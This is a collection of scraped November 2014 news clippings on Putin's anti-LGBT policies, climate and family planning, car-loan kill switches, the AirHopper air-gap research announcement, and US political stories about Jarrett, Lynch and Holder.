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The Advocate's Person of the Year: Vladimir Putin | Advocate.com
Sat, 08 Nov 2014 23:58
Driving the governmental, religious, and popular disdain for gays and lesbians, the Russian president became the single greatest threat to LGBTs in the world in 2014.
''Imagine a boy who dreams of being a KGB officerwhen everyone else wants to be a cosmonaut.''
This quote appears early in The Man Without a Face, Masha Gessen's 2012 biography of Vladimir Putin. It's as succinct and illuminating a characterization of the Russian president as you're likely to find. The KGB, after all, perfected the thuggery, espionage, and aimless bureaucracy that are hallmarks of Putin's regime. The agency's crackdown on dissidents offered a blueprint for Putin's own strongman excesses. That he aspired to such a career as a child tells us something useful about his psychopathology: This is a man hardwired to intimidate.
Nowhere is this tendency more apparent than in his crusade against LGBT Russians. Since winning a third term in 2012, Putin has become ever more autocratic, and his antigay ideology ever more extreme. In June 2013, he signed the infamous antigay propaganda bill that criminalizes the ''distribution of information'...aimed at the formation among minors of nontraditional sexual attitudes,'' with nontraditional meaning anything other than heterosexual. Individual violators are fined anywhere between $120 and $150, while NGOs and corporations can incur fines as high as $30,000. International outrage flared in the months before the Sochi Olympics, in response to which Putin reassured the gay and lesbian community they had nothing to fear as long as they left Russia's children in peace.
Such incendiary rhetoric is a staple of Putin's political playbook. And in Russia, where the majority of media are state-owned, there's little public pushback. Tanya Cooper, a researcher with Human Rights Watch, argues that the average Russian is unlikely to seek diverse viewpoints. ''When politicians, celebrities, and respectable journalists in Russia tell you repeatedly, either on television or in print, that gay people are perverts, sodomites, and pedophiles, you just believe it,'' she says.
According to Pew Research's 2014 Global Attitudes Project, 72% of Russians think homosexuality is morally unacceptable. This hints at the increasing domination of the Russian Orthodox Church, which between 1991 and 2008 saw the number of adults calling themselves adherents increase from 31% to 72%. In July 2013, Patriarch Kirill I, leader of the church, deemed same-sex marriage ''a very dangerous sign of the apocalypse,'' a sentiment that appeals to Putin's conservative base. Julie Dorf, a senior adviser at the Council for Global Equality, argues that Putin relies on the church to legitimize his rhetoric, and in turn, the church gets greater political access. ''Without [Putin's] personal agenda of using homophobia as a tool to keep himself buoyed domestically, I don't think the church's own homophobia would have risen to the same level,'' Dorf says.
(RELATED: See The 9 Other Finalists for Person of the Year)
A September 2014 poll from Russia's state-run Public Opinion Foundation found that of the two-thirds of respondents who said celebrities can be moral authorities, 36% cited Putin, putting him far ahead of Patriarch Kirill I, who was cited by just 1%. Indeed, Putin's statecraft and overarching political vision have become staunchly Manichaean, as a struggle between diametrically opposed forces. As Mark Galeotti and Andrew S. Bowen wrote in Foreign Policy, ''He does not see himself as aggressively expanding an empire so much as defending a civilization against the 'chaotic darkness' that will ensue if he allows Russia to be politically encircled abroad and culturally colonized by Western values at home.'' Framed like this, Russia's assault on LGBT rights is really just opposition to American hubris.
''I'm not sure he's a particularly moral person,'' Dorf says. ''My sense is that the political power he's getting from the antigay campaign is less about being morally right than about defining Russia as 'not the West.' ''
Cooper agrees, and sees Russia's anti-LGBT dragnet as the most appalling example of a broader rejection of foreign subversion. ''The attack on the LGBT community in Russia started almost simultaneously with the attack on civil society and the demonizing of NGOs as foreign agents,'' she says. ''There was a campaign to expose all the evils of Western culture and say that immigrants, liberals who get their inspiration from Western political culture, and LGBT people are all Western exports and therefore alien to Russia.''
The notion of Russian purity is the cornerstone of Putin's identity, underlying everything from photo ops to the annexation of Crimea. On his personal Web site, administered by the Russian Presidential Executive Office, we learn that ''Putin prefers Russian cars,'' is ''particularly fond of fishing in Russia,'' and as chairman of the Russian Geographical Society's Board of Trustees, is devoted to ''[inspiring] people to love Russia.'' His 2012 state-of-the-federation address framed his nationalist fervor as a social awakening: ''In order to revive national consciousness, we need to link historical eras and get back to understanding the simple truth that Russia did not begin in 1917, or even in 1991, but rather, that we have a common, continuous history spanning over 1,000 years and we must rely on it to find inner strength and purpose in our national development.''
That LGBT Russians have no place in this development is simply a hard demographic truth. In 2013, Russia's birth rate exceeded its death rate for the first time in two decades '-- a trend Putin is keen to sustain. In language disturbingly reminiscent of Nazi propaganda, he told reporters in January that anything that gets in the way of Russia's population growth should be ''cleaned up.'' In addition to LGBT undesirables, Russia's ethnic minorities also pose a threat, as do freethinkers who openly critique the regime. In a survey of the past two decades by the Committee to Protect Journalists, Russia was ranked the fifth most dangerous country for reporters, with at least 56 killed between 1992 and 2003; the International Federation of Journalists estimates the number is even higher. The message is clear: Putin's Russia, in grand Soviet tradition, is a country of the masses, not the individual.
Yet it's the masses that must safeguard individual liberties. The Sochi Olympics catalyzed an intense campaign for reform '-- there were widespread calls to boycott the games; President Obama criticized Russia's LGBT policies; a Change.org petition urging Olympic sponsors to condemn the anti-LGBT laws garnered more than 225,000 signatures '-- but nothing really changed. ''After Sochi ended, attention shifted somewhere else,'' Cooper says. When asked if there have been any positive developments for Russia's LGBT community since February, she answers simply, ''No.''
Recent headlines offer little to celebrate. On August 28, agents from Russia's Federal Security Service ransacked the home of Andrei Marchenko, a blogger whom they accused of masterminding a ''gay terrorist underworld.'' On September 18, Queerfest, an annual LGBT rights festival in St. Petersburg, canceled most of its events after bomb threats and attacks that saw antigay protesters squirt festivalgoers with an unknown gas and green dye. On September 25, the Constitutional Court of Russia upheld the antigay propaganda law. And of course LGBT Russians continue to be assaulted or murdered with tragic frequency. On September 7, Yekaterina Khomenko, a 29-year-old lesbian who taught tango lessons to same-sex couples in St. Petersburg, was found dead in her car, a four-inch slash across her throat. Police initially called her death a suicide.
''Putin's not going away until 2024, so the situation, politically, isn't going to change for quite some time,'' Dorf says. The prospect of another decade under Putin is devastating. Despite encouraging developments such as the International Olympic Committee's new mandate requiring prospective host cities to sign an antidiscrimination clause, Russia's LGBT activists report few breakthroughs. What hope they have is precarious and underground. Their enemy is an eternal KGB agent with dreams of empire, a pragmatist and sportsman who crushes his opposition while still incongruously proclaiming, as he did in a New York Times op-ed, ''[We] are all different, but when we ask for the Lord's blessings, we must not forget that God created us equal.''
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Latvian Foreign Minister Announces He's Gay: 'Good Luck, All of You' | Mediaite
Sun, 09 Nov 2014 01:51
In a single tweet, Latvian Foreign Minister Edgars RinkÄ'vičs came out of the closet, endorsed pending legislation that would recognize same-sex marriage, and likely rankled his counterparts in Russia:
RinkÄ'vičs, who has served as the country's foreign minister since 2011, is now the highest-profile gay man in Easter Europe, a region with deeply embedded conservative values. ''Our country has to create a legal status for all kinds of partner relationships, and I will fight for this,'' he added on Twitter (translated by the Washington Post). ''I know that there will quickly be mega-hysteria, but #proudtobegay.''
The announcement is sure to cause tensions with neighboring anti-gay superpower Russia, which recently passed laws against informing people about homosexuality, and whose lawmakers proposed a ban against Apple CEO Tim Cook after he publicly came out as gay. Latvia, a former Soviet republic, shares a border with Russia, as well as a large Russian-speaking population.
[h/t BuzzFeed][Image via Wikimedia Commons]
''
>> Follow Tina Nguyen (@Tina_Nguyen) on Twitter
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Agenda 21
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Condoms Fight Climate Change, but Nobody Wants to Talk About It - NationalJournal.com
Sun, 09 Nov 2014 00:31
The equation seems fairly simple: The more the world's population rises, the greater the strain on dwindling resources and the greater the impact on the environment.
The solution? Well, that's a little trickier to talk about.
Public-health discussions will regularly include mentions of voluntary family planning as a way to reduce unwanted pregnancies and births. But, said Jason Bremner of the Population Reference Bureau, those policies can also pay dividends for the environment.
"And yet the climate-change benefits of family planning have been largely absent from any climate-change or family-planning policy discussions," he said Tuesday at an event hosted by the Woodrow Wilson Center.
Bremner is part of a working group of scientists and officials organized by the PRB and the Worldwatch Institute working on climate change and family planning to try to cross the gap between the two. Even as the population passes 7.2 billion and is projected by the United Nations to reach 10.9 billion by the end of the century, policymakers have been unable'--or unwilling'--to discuss population in tandem with climate change.
But there's been little or no funding for such programs, and the discussions tend to stall before getting into meaty policy. And despite the United Nations holding a special session on population and development a day before its September climate-change summit, academics lamented a lack of cross talk.
Why? Talking about population control requires walking a tightrope: There's nuance between encouraging access to birth control and a China-style one-child policy, but that doesn't always translate in the retelling, and it can all too easily sound like a developed world leader telling people in the developing world that they should stop having children'--especially because much of the population boom is coming from regions like sub-Saharan Africa.
And there's a coalition of critics ready to pounce on any speaker who slips, or even to twist the words of those who don't.
Just look at what happened to Hillary Clinton in 2009, when as secretary of State she acknowledged the overpopulation issue during a discussion with Indian environment minister Jairam Ramesh. Clinton praised another panelist for noting "that it's rather odd to talk about climate change and what we must do to stop and prevent the ill effects without talking about population and family planning."
"And yet, we talk about these things in very separate and often unconnected ways," Clinton added.
Right-wing critics pounced, with the Alex Jones-run Info Wars calling her comments "Malthusian."
Oddly enough, Clinton has found herself criticized for falling on the other side of issue as well. In 2013, a line mentioning overpopulation was edited out of an essay for a Clinton-backed publication written by Bindi Irwin, the then-14-year-old daughter of the late "Crocodile Hunter" Steve Irwin (The Daily Mail chronicled the bizarre spat here).
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But the Woodrow Wilson Institute researchers are quick to point out that they're not talking about touchy "population control" strategies like forced sterilization (prominently employed and quickly abandoned in India in the 1970s) or China's one-child policy. Rather, they're focusing on "voluntary family planning"'--emphasis on the "voluntary"'--programs that countries are already looking at. Sex education has been linked to reduced fertility rates, as has distribution of contraception.
"Achieving universal access to family planning throughout the world would result in fewer unintended pregnancies, improve the health and well-being of women and their families and slow population growth, all benefits to climate compatible development," reads a draft statement from the group, which is crafting a full report to be released at the end of the year.
The connection isn't necessarily new: Plenty of academics have made it and Natural Resources Defense Council President Frances Beinecke has blogged about it in the past. The U.N. Intergovernmental Panel on Climate Change has noted the burden of "population pressures" on natural resources, while separately looking at the health impact of family planning. Some national climate adaptation plans around the world have brushed on family planning.
A study from the Futures Group said it would cost $3.7 billion a year to provide such services to countries that don't yet have them. The public-health benefits of reducing unplanned pregnancies are clear for both mother and child, especially in high-risk impoverished areas.
A 2010 study published in the Proceedings of the National Academy of the Sciences looked at the link between policies that help women plan pregnancies and family size and global emissions (the study also looked at aging and urbanization trends). The researchers predicted that lower population growth could provide benefits equivalent to between 16 and 29 percent of the emissions reduction needed to avoid a 2 degrees Celsius warming by 2050, the warning line set by international scientists.
But the benefits also come through easing the reduced resources that could result from climate change. The U.N. IPCC report notes the potential for climate-related food shortages, with fish catches falling anywhere from 40 to 60 percent and wheat and maize taking a hit, as well as extreme droughts. With resources already stretched in some areas, the IPCC laid out the potential for famine, water shortages and pestilence.
Still, the link remains a "very sensitive topic," said Karen Hardee, director of the Evidence Project at the nonprofit Population Council.
"At the global policy level you can't touch population '... but what's been heartening is that over the last few years it's not just us, but people from the countries themselves talking about this," Hardee said.
Hardee conducted a review of 41 National Adaptation Programs of Action (the vulnerability documents required of low-income nations by the U.N.) and found that 37 mentioned population as a climate-related problem. Of those, six recognized family planning as a possible mitigation technique.
But none had funding for family-planning programs. And inclusion in a country-level plan doesn't translate to discussion at the international level, which is where the researchers say policy needs to be taking hold.
The very idea of intervention has even gotten some recent pushback. A study published this month from two researchers at Australia's University of Adelaide also cast doubt on whether population control could even stem growth, projecting that even drastic measures like a one-child policy would result in a population between 5 and 10 billion by century's end.
But the members of the new working group'--which includes members from the WorldWatch Institute and USAID, as well as climate scientists'--say their work can make waves, especially as world leaders prepare to meet for the U.N. climate summit in Paris next year. With countries already engaged on family planning, they say it's just a small leap to tie environmental concerns together.
"We want to achieve agreement on what the climate commitments are from individual countries," said Alexander Ochs of the Worldwatch Institute. "There's a new opportunity here, a new approach that takes a bottom-up look at what countries want to bring to the table.'... We're just focused now on getting over the stumbling blocks."
This story has been corrected to clarify the Woodrow Wilson Center's role in the working group.
The Latest Climate Change Statement: Webcast Your Vasectomy - NationalJournal.com
Sun, 09 Nov 2014 00:31
Next Tuesday may be Veteran's Day, but Dr. Doug Stein in Florida is setting aside Friday for a worldwide celebration of a different sort of sacrifice.
"Let's honor the men who have chosen to take responsibility and let them set a standard for those who have not done so. Let's honor the men who have done what's right ... for their families and their partners and the planet," Stein said.
Stein's heroes? Men who get vasectomies.
Stein, a Tampa-based vasectomist, is a cofounder of World Vasectomy Day, which celebrates its second year Friday with a planned 1,500 surgeries across 30 countries. Stein himself will perform 28 vasectomies at Planned Parenthood's Kissimmee Health Center, broadcast live via webcast (the webcast, organizers said, will be far enough away so no censorship is required).
The event may sound like an elaborate promotion for Stein's practice, but it also comes with a not-so-subtle climate-change message: Academics have long connected the rising population with environmental harm (more people consuming fewer resources while producing more emissions), but the solutions can be seen as too touchy to get play on the policy level.
A 2008 study from Oregon State University estimated that each child born in the U.S. adds 9,441 metric tons to each parent's carbon footprint, or 28 times the savings of a lifetime of recycling. Reducing unplanned pregnancies, the extension goes, would avert those emissions while also lessening the financial and health impact of the parents.
Even when voluntary family planning enters the policy discussion, the discussion frequently focuses on potential mothers, both when discussing the health benefits of reducing unplanned pregnancies and when considering solutions such as sex education and contraception distribution.
But advocates say it's time for men to play a role, and vasectomies'--where the vas deferens is shut to block the movement of sperm'--are seen as the most effective strategy.
"If you look at the population movement historically, there are some egregious policies, like China's one-child policy or some coercive policies in India [including forced sterilization]," said Taralynn Reynolds, population and sustainability organizer for the Center for Biological Diversity. "We're talking about anything but. We want to bring men in, having them bear some of the responsibility as well."
CBD, the wildlife-focused green group, is getting in on the event, promoting it with a series of cartoons with slogans like "Wildlife give thanks, cause I'm shooting blanks" (CBD's population program has also made headlines for distributing condoms branded with endangered species and lines like "Don't go bare, panthers are rare," or "Safe intercourse saves the dwarf seahorse.")
Stein said that lessening the population's impact on the planet was in fact the reason he moved from his general urology practice to specializing in vasectomies.
"There are enough people out there dealing with kidney stones and general urology, and not enough who want to make vasectomies easy to get," Stein said. "There's no stopping me in my desire to make people more aware, whether it's putting up billboards or doing vasectomies overseas."
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And World Vasectomy Day is a big part of his outreach message (he also boasts of raising a dozen billboards in the Tampa area). He founded the event last year with filmmaker Jonathan Stack to show how easy and painless getting snipped can be, highlighted by a "vasectomy-athon" at Australia's Royal Institution in Adelaide. This year he'll do the same thing with 28 surgeries, which Stein said is not an unusual number for one day (his appointments generally last 15 minutes with patient chit-chat). Some 250 doctors are expected to participate across the globe.
Whether it can inject vasectomies or other family-planning measures into grand-scale climate discussions remains to be seen, since the optics of talking about population control have generally kept it on the back burner. But organizers are hoping that they can at least change the conversation around vasectomies and make the surgery more appealing.
Paul Scott, cofounder of Plug In America, is flying to participate in the Florida events and tell the story of how, at age 22, he elected to get a vasectomy after reading The Population Bomb, the 1968 book warning of mass starvation and upheaval due to overpopulation.
"Anyone who cares about the environment needs to take a long hard look at what an individual does to the environment. You can't live in modern society and not have an impact," he said. "I'm the kind of person where, when I'm presented with facts, I can make a decision. I knew I didn't want to father a child, and I knew I didn't want to add to the population."
UNFPA - Climate Change and Population Dynamics
Sun, 09 Nov 2014 00:31
Most environmental problems, including those arising from climate change, are aggravated by population growth. Thus, the fact that the world's population has surpassed 6.7 billion and continues to grow by some 78 million additional people each year presents enormous challenges.
Where women control their own bodies and have access to reproductive health, they tend to choose smaller families. However, in poor countries some 200 million women would like to delay their next pregnancy or stop having children altogether - but because of gender inequality or lack of access to information or services, they can't do that.
Demographic issuesEfforts to empower women, improve social conditions and ensure universal access to reproductive health, including voluntary family planning, would all help to reduce fertility and contribute to eventual population stabilization. Support in these areas is most critical in the poorest countries, where rapid population growth combines with poverty and lack of access to resources to exacerbate local environmental degradation and resource depletion and to inhibit sustainable development.
Distinct populations groups and patterns of living clearly impinge on the environment in different ways. Age structure, household size and spatial distribution - and most important, level of development - all affect per capita emissions, and must be integrated into climate change modeling. For the most part, countries with high rates of poverty and population growth contribute relatively little to greenhouse gases and other irreversible global ecological threats. This is not always taken into consideration in looking at the effects of population growth on greenhouse gas emissions, for instance in the IPCC Special Report.
Impact of developmentIn the long term, lower fertility in low-income countries will result in some reduction of global greenhouse gas emissions. However, lower fertility usually is associated with economic development, including urbanization. Unless low-income countries follow new, low carbon paths of development, higher standards of living will lead to higher per capita greenhouse gas emissions. The usual trend toward smaller household sizes as development proceeds will also tend to increase per capita emissions for a given population size.
Further, 'population momentum' in countries with a large proportion of young people will result in continued high growth rates despite declines in fertility. Even as fertility declines significantly, population growth will continue for years to come.
UNFPA documentsExternal papersLinks
Climate Change - Population Action International
Sun, 09 Nov 2014 00:32
May 3, 2013A. Tianna with partners from Eminence, PRAN, and HumanityWatch. Climate change is not a game. In Bangladesh, communities are already facing its consequences daily, and women are disproportionately affected. But last week in Dhaka, Bangladesh'--alongside nearly 300 policymakers, scientists, and '... Continue reading >>
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NA-Tech News
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Lenders Can Now Disable Your Car When You're Driving on the Freeway | Alternet
Sun, 09 Nov 2014 15:38
People with poor credit are being sold cars with GPS-based kill switches.
Photo Credit: Andrey Popov/Shutterstock
November 7, 2014 |
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Imagine this scenario: You're on an important trip miles from home and stopped in traffic, but before you can continue on your way, your car shuts down. You've got enough gas in the tank and no mechanical problems. But you're stranded far from home because you're a few days late on your car payment and the lender won't let you drive until the debt is paid.
If this sounds like part of a dystopian future in which repo men are now cyborgs, it's not. It's happening today and becoming a big part of the new automotive landscape. Car dealers and automotive lenders are targeting those with poor credit by installing GPS-based kill switches, or starter-interrupt devices, on the cars that they sell.
The New York Times recently reported that about 2 million cars are now outfitted with such kill switches in the U.S., which is about one-quarter of subprime car loans, and creditors are not shy when it comes to remotely disabling cars whose owners are behind on their payments:
"Some borrowers say their cars were disabled when they were only a few days behind on their payments, leaving them stranded in dangerous neighborhoods. Others said their cars were shut down while idling at stoplights. Some described how they could not take their children to school or to doctor's appointments. One woman in Nevada said her car was shut down while she was driving on the freeway.
"Beyond the ability to disable a vehicle, the devices have tracking capabilities that allow lenders and others to know the movements of borrowers, a major concern for privacy advocates. And the warnings the devices emit '-- beeps that become more persistent as the due date for the loan payment approaches '-- are seen by some borrowers as more degrading than helpful."
Subprime automotive-loan borrowers, those with FICO credit scores below 660, debt-to-income ratios of more than 50% or a bankruptcy in the past 60 months, are a growing segment of automotive borrowers. This phenomenon has been buoyed by auto dealers trying to continue a strong sales rebound after years of weak sales and by securities investors who buy bonds backed by those loans and see them as a way to get ample returns when other interest rates remain low.
In a healthy economy, buying subprime securities can be a lucrative way to exploit those who are still struggling with debt, but still may be able to find work and earn a decent wage. But when the economy goes soft, so do the subprime markets, as lenders become wary of taking on large credit risks. As the economy weakened in 2007, and the subprime mortgage securities market became unstable, it resulted in the U.S. credit crisis which, in turn, fueled the deep recession between 2007 and 2009.
But in this lukewarm recovery, investors are bullish on at least one subprime loan market. While foreclosed homes have proven nearly impossible to resell during hard times, used cars still sell relatively well even during a deep recession, providing ample collateral for these subprime loans.
Still, investors are skittish because they're aware that car loans are not as well vetted as mortgage loans. The success of the auto dealer model is to let buyers come in, pick out a car, and complete the financing in one day.
Burned by subprime securities in the past and worried that car-loan applicants are not as thoroughly scrutinized as home buyers, investors need to be assured they're not throwing good money after bad, and that's where starter-interrupt systems (sometimes euphemistically called payment assurance devices) come in. They force borrowers either to pay the debt in full or face having the car sit idle for weeks or even months until it is eventually repossessed and resold. The theory is that when making a car payment is as essential as putting gas in the car, people will be more likely to make their payments.
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CNN Discovers Promotional Surface Pros Make Fantastic iPad Stands
Fri, 07 Nov 2014 06:49
Last night, CNN wasn't just covering the mid-term elections. It was also pimping the Surface Pro 3, conspicuously placing a kickstand-ed unit in front of a bunch of its commentators. The catch? They were actually just being used as iPad stands.
As GeekWire points out, a few eagle-eyed viewers pointed out that behind every Surface Pro 3, there's an iPad running the show.
This comes on the heels of NFL commentators calling Microsoft's Surface an iPad and "iPad-like" after a 400 million dollar deal to do exactly not that. Still, at least it's making a solid case for kickstands. And if they can use this to saddle Wolf Blitzer with unsold Zunes and Kins for a month, it'll all be worth it. [Geekwire via 9to5Mac]
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How to leak sensitive data from an isolated computer (air-gap) to a near by mobile phone - AirHopper | Cyber Security Labs @ Ben-Gurion University of the Negev
Fri, 07 Nov 2014 14:08
Security researcher Mordechai Guri with the guidance of Prof. Yuval Elovici from the cyber security labs at Ben-Gurion University in Israel presented at the 9th IEEE International Conference on Malicious and Unwanted Software (MALCON 2014), at Puerto Rico, a breakthrough method (''AirHopper) for leaking data from an isolated computer to a mobile phone without the presence of a network. In highly secure facilities the assumption today is that data can not leak outside of an isolated internal network. It is called air-gap security (full lecture on the topic by Prof. Yuval Elovici is here). The common policy in such secure organizations is to leave your mobile phone in some locker when you enter the facility and then pick it up when you go out. We at the cyber security labs challenged this assumption and found a way to leak data from a computer inside the organization to a remote a mobile phone without using Wifi or Bluetooth. ''Such technique can be used potentially by people and organizations with malicious intentions and we want to start a discussion on how to mitigate this newly presented risk.'' said Dudu Mimran CTO of the cyber security labs.
The following video demonstrates AirHopper:
The main idea behind the research is to use radio frequencies in order to transmit the secret data from the computer to the mobile phone. Mobile phones usually come equipped with FM radio receivers and it is already known that software can intentionally create radio emissions from a video display unit. Yes, from the computer screen. Still, this is the first time that a mobile phone is considered in an attack model as the intended receiver of maliciously crafted radio signals emitted from the screen of the isolated computer. AirHopper demonstrates how textual and binary data can be exfiltrated from physically a isolated computer to mobile phones at a distance of 1-7 meters, with effective bandwidth of 13-60 Bps (Bytes per second). Enough to steal a secret password.
AirHopper: Bridging the Air-Gap between Isolated Networks and Mobile Phones using Radio Frequencies from mordechaiguri
Follow the story on twitter @cyberlabsbgu#airhopper.
The team of cyber security labs @ Ben-Gurion University of the Negev in Israel.
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Obama Nation
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Fire Valerie Jarrett - Carol Felsenthal - POLITICO Magazine
Sat, 08 Nov 2014 15:29
Almost since the start of Barack Obama's presidency, people who have actual, real duties in the West Wing of the White House'--the working, executive part of the government, that is'--have been urging him to do something about Valerie Jarrett. Push her into the East Wing, where she can hang out with Michelle Obama and the White House social secretary, or give her an ambassadorship'--or something'--but for Pete's sake get her out of the way of the hard work of governing that needs to be done.
Now it's really time to do it.
Let's stipulate right away that it would be unfair to blame Jarrett, the longtime Obama family friend and confidante, for the walloping that the president and his party suffered at the polls on Tuesday. And Jarrett will no doubt be needed in the weeks ahead to comfort her old pals, Barack and Michelle. What happened on Tuesday almost couldn't be worse for Obama personally'--not just the Senate's going Republican but all those governorships lost, including Illinois Governor Pat Quinn's defeat in Obama's adopted home state, even after the president and first lady came to Illinois to campaign for him. The morning after the elections, Democrats and their top staffers were hopping mad, blaming Obama and, by extension, his staff for the defeat.
But let's also face facts'--and expect the president to do so as well. We're at that point in an already long-toothed presidency when things inside really need to change. In the days before anyone knew how brutally the Democrats would get beaten, politicians and staffers and pundits were urging a shakeup of the White House staff.
This is, after all, a time-honored practice for an administration in trouble. Somebody's got to take the blame other than president, who's not going to resign himself. Past presidents who fared badly in midterm elections have not been shy about making high-level changes'--George W. Bush fired Defense Secretary Donald Rumsfeld after the 2006 midterms and also replaced his chief of staff. Presidents Dwight Eisenhower and Ronald Reagan at the same low point in their administrations replaced their chiefs of staff when they failed to perform up to expectations or fell from grace. George H.W. Bush did the same to chief of staff John Sununu.
Jarrett is more than a mere senior staffer to this president, and of course she is not going to be fired outright. Not ever. If her role in this administration reflected reality, Jarrett would be called ''First Big Sister'' to both Michelle and Barack. And who would fire the kind of big sister who ''really dedicated her entire life to the Obamas,'' as New York Times reporter Jodi Kantor told me when I interviewed her about her intimate look at the first family, The Obamas? ''She has thrown her entire life into their cause, and she's made it very clear that she would happily run in front of a speeding truck for them.''
Very moving. But the fact is, on balance it appears that Jarrett has been more an obstructer than a facilitator over the past six years when it comes to governing, and it's probably long past time for the president to move her gently into another role.
For starters, even today, nobody knows precisely what Jarrett does in the White House. What exactly do her titles'--senior advisor to the president, assistant to the president in charge of the Office of Intergovernmental Affairs, the Office of Public Engagement, the White House Council on Women and Girls'--mean? More to the point, Jarrett has often used the aura of authority that these titles give her to stand in the way of talented White House staffers and a smoother-running administration, according to several books that have been written about the Obama presidency, among them Chuck Todd's forthcoming The Stranger.
Take Obama's first-term chief of staff, Rahm Emanuel, who clashed early and often with Jarrett and felt ''undermined'' by her, as political reporter Jonathan Alter, the author of two in-depth books on the Obama administration, told me in 2013. Emanuel recognized early on that Jarrett was trouble and worried that she could become what former Newsweek correspondent Daniel Klaidman, in his book Kill or Capture: The War on Terror and the Soul of the Obama Presidency, called a ''shadow COS.'' Emanuel tried to sideline Jarrett by pressing for her to be appointed to Obama's old U.S. Senate seat, according to Alter: ''He wasn't sure that he wanted a competing power base that was closer to the president and first lady than he was.'' But Michelle Obama wanted Jarrett in the White House, so Emanuel's plan fizzled. He left in the fall of 2010 to run for mayor of Chicago.
Carol Felsenthal is author of Power, Privilege & the Post: The Katharine Graham Story. She is also a contributing writer to Chicago and is the magazine's political blogger.
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Loretta Lynch - Wikipedia, the free encyclopedia
Sat, 08 Nov 2014 22:27
Loretta Elizabeth Lynch[1] (born May 21, 1959) is the current United States Attorney for the Eastern District of New York. She has served her current tenure as U.S. Attorney since 2010, having previously held the position from 1999-2001. As U.S. Attorney for the Eastern District of New York, Lynch oversees federal prosecutions in Brooklyn, Queens, Staten Island and Long Island. On November 8, 2014, President Barack Obama nominated her to succeed Eric Holder as the next Attorney General of the United States.[2]
Early life and education[edit]Lynch was born in Greensboro, North Carolina on May 21, 1959. Her mother was a school librarian and her father was a Baptist minister.[3][4] As a child, she spent hours with her father, watching court proceedings in the courthouse of Durham, North Carolina. Her early fascination with court proceedings was compounded by stories of her grandfather, also a pastor, who devised his own version of the Underground Railroad, in the 1930s. He helped people flee to the north to escape persecution under the Jim Crow laws of the time.[5]
She earned a Bachelor of Arts in English and American literature from Harvard College in 1981[6] and a Juris Doctor from Harvard Law School in 1984.[7]
Lynch's first legal job was as a litigation associate for Cahill Gordon & Reindel.[8]
Lynch first joined the Eastern District as a drug and violent crime prosecutor at the U.S. Attorney's office in 1990. She was the lead prosecutor in the political corruption cases involving the government of Brookhaven, New York. From 1994 to 1998, she served as the chief of the Long Island office and became involved in several political corruption cases involving the government of Brookhaven, New York. From 1998 to 1999, she was the chief assistant U.S. Attorney in the Eastern District and headed the Brooklyn office. In 1999, she was nominated by President Bill Clinton to serve as the United States Attorney for the Eastern District of New York.[9] During her term as U.S. Attorney, Lynch oversaw prosecution of the New York City police officers in the Abner Louima case.
In 2001, Lynch left the office to become a partner at Hogan & Hartson (later Hogan Lovells). She remained there until January 20, 2010, when President Barack Obama nominated Lynch to again serve as United States Attorney for the Eastern District of New York.[7][10] From 2003 to 2005, she was a member of the board of the Federal Reserve Bank of New York.[11]
Following the July 2014 death of Eric Garner, an unarmed man who died of a heart attack after being held in a department-prohibited chokehold by a New York City police officer, Lynch agreed to meet with Garner's family to discuss possible federal prosecution of the officer believed to be responsible in his death.[12][13]
Lynch's office indicted Republican congressman Michael Grimm; was involved in the investigation of Citigroup over mortgage securities, sold by the bank, which resulted in the bank agreeing to a US$7 billion settlement; and was also involved in the US$1.2 billion settlement with HSBC over violations of the Bank Secrecy Act.[14][15]
On November 8, 2014, President Barack Obama nominated Lynch for the position of U.S. Attorney General, succeeding Eric Holder, who had previously announced his resignation pending confirmation of his replacement. If confirmed by the U.S. Senate, she would be the first African-American woman; the second African-American, after Holder; and the second woman, after Janet Reno; to hold this office.[16][17]
Personal[edit]She and her husband, Stephen Hargrove, married in 2007.[18]
References[edit]^Loretta E. Lynch, Partner, Hogan & Hartson L.L.P.^Loretta Lynch, Federal Prosecutor, Will Be Nominated for Attorney GeneralNew York Times November 7, 2014. Retrieved November 7, 2014^Obama to tap Loretta Lynch for AG AP/New York Post. November 7, 2014. Retrieved November 8, 2014^Joseph P Fried (14 July 1999). "Schumer Urges Carter's Aide For U.S. Post". The New York Times. ^Attorneys at the top succeeding in spite of dismal diversity trends The Network Journal. 2014. Retrieved November 4, 2014^Biographical Information for Loretta Lynch AP/ABC News. Nov 7, 2014/ Retrieved Nov 8, 2014^ abThe White House: Office of the Press Secretary (January 20, 2010). "President Obama Nominates Five to Serve as U.S. Attorneys". whitehouse.gov. Retrieved March 13, 2011. ^http://www.ny.frb.org/aboutthefed/orgchart/board/lynch.html^Woodrow, Stephanie (February 12, 2010). "Meet Loretta E. Lynch". Main Justice. Retrieved March 13, 2011. ^Sulzberger, A.G. (January 20, 2010). "Obama Picks Loretta E. Lynch for Brooklyn U.S. Attorney". The New York Times. Retrieved March 13, 2011. ^http://www.nndb.com/people/610/000275782/^Calls for Calm Ahead of Staten Island Rally in NYC^Family of man killed by NYPD chokehold talks to feds^"Brooklyn Prosecutor Loretta Lynch Emerges As A Top Candidate For Attorney General". Huffigton Post. Retrieved 28 October 2014. ^United States of American vs HSBC Bank USA, N.A. and HSBC Holdings Pl. Memorandum and Order July 1, 2013. Retrieved November 7, 2014^Loretta Lynch, Federal Prosecutor, Will Be Nominated for Attorney GeneralNew York Times November 7, 2014. Retrieved November 7, 2014^Obama picks NY prosecutor Lynch to be next attorney general Yahoo! News November 8, 2014. Retrieved November 8, 2014^Obama To Nominate Loretta Lynch As U.S. Attorney General AP/Huffington Post. November 7, 2014. Retrieved November 8, 2014External links[edit]PersondataNameLynch, Loretta E.Alternative namesShort descriptionAmerican lawyerDate of birth21 May 1959Place of birthGreensboro, North CarolinaDate of deathPlace of death
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Holder aims vulgarity at critics in email - Yahoo News
Sun, 09 Nov 2014 01:18
WASHINGTON (AP) '-- Newly released emails show Attorney General Eric Holder said that Justice Department prosecutors who were critical of the department's handling of the fallout of the Fast and Furious gun-walking scandal could "kiss my ass."
Operation Fast and Furious was a botched effort by the Bureau of Alcohol, Tobacco, Firearms and Explosives to track firearms across the Southwest border. Revelations about it created a political firestorm, leading to congressional investigations and turnover within the ATF and Justice Department.
The Justice Department selectively provided a batch of emails this week to the House Oversight and Government Reform Committee. The Associated Press obtained the emails on Friday.
House Republicans, who have subpoenaed for thousands of emails and went to federal court for access to the documents, have long promoted the idea that Holder and other top-level Justice Department officials knew that federal agents had engaged in a risky tactic known as "gun-walking."
The Justice Department's inspector general found no evidence that Holder was aware of the tactic, in which ATF agents tried to track the flow of illegal guns from the United States into Mexico but instead lost track of many of the weapons.
